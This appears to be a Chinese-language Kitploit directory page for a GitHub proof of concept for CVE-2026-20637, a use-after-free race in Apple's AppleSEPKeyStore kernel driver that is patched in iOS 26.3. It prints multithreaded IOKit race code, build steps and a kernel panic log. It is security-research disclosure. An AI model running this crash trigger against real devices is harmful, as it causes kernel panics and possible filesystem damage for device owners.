Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/enfilade-labs/cve-2026-20637-applesepkeystore-uaf
iOS安全漏洞分析漏洞利用移动安全二进制利用
GitHubenfilade-labs/cve-2026-20637-applesepkeystore-uaf

CVE-2026-20637-AppleSEPKeyStore-UAF

CVE-2026-20637:AppleSEPKeyStore 释放后使用 — iOS/macOS 内核漏洞(已在 26.4 中修复)

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
194个月前尚未审核

CVE-2026-20637 — AppleSEPKeyStore 释放后使用

CVE-2026-20637 · Enfilade · enfilade.io

组件: AppleKeyStore

影响: 应用或许能够导致系统意外终止。

描述: 通过改进内存管理解决了一个释放后使用问题。

— Apple 安全内容,iOS 26.3 和 iPadOS 26.3

目标

iOS26.1 – 26.2(已测试)
macOS26.1 – 26.2(已测试)
组件com.apple.driver.AppleSEPKeyStore
已修补iOS 26.3 / iPadOS 26.3

Apple 可能在 26.2.1 至 26.3 之间进行了增量修补,因此中间版本可能无法复现。

警告

运行 PoC 会导致设备内核崩溃。运行前请保存好您的工作。反复崩溃可能导致文件系统损坏。仅供安全研究使用。

漏洞

通过 AppleKeyStore 竞争条件触发的 IOCommandGate 释放后使用。八个调用线程在 0–15 选择器上持续调用 IOConnectCallMethod,同时四个关闭线程竞争调用 IOServiceClose,从而产生一个命令门在释放后被访问的时间窗口。

概念验证

root@kitploit:~
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS      8
#define NUM_CLOSERS      4
#define NUM_ITERATIONS   100000

static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;

// 8 个调用线程:持续调用 IOConnectCallMethod(高优先级)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    for (uint32_t sel = 0; sel < 16; sel++) {
        IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

// 4 个关闭线程:竞争调用 IOServiceClose(高优先级)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    IOServiceClose(conn);
    atomic_store(&g_conn, IO_OBJECT_NULL);
}

// 主线程:10 万次连接,无延迟
for (int i = 0; i < NUM_ITERATIONS; i++) {
    uint32_t type = (i % 4 == 0) ? 0x2022
                  : (i % 4 == 1) ? 0xbeef
                  : (i % 4 == 2) ? 0x1337
                                 : 0x4141;
    IOServiceOpen(svc, mach_task_self(), type, &conn);
    atomic_store(&g_conn, conn);
    // 无延迟 — 紧密竞争窗口
}

构建与运行

  1. 在 Xcode 中打开 ios-app/Test.xcodeproj。
  2. 选择一台实体 iOS 设备(模拟器无法访问该驱动程序)。
  3. 构建、运行,并从应用中触发 PoC。

崩溃日志

root@kitploit:~
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
  (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
   72: 0xfffffffffffffe00

Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
  root:xnu-12377.42.6~55/RELEASE_ARM64_T8030

Panicked task 0xffffffe5b4f1e820: pid 956: Test

Kernel Extensions in backtrace:
   com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
      @0xfffffff016a47020->0xfffffff016a84f9f

许可证

参见 LICENSE。

下载工具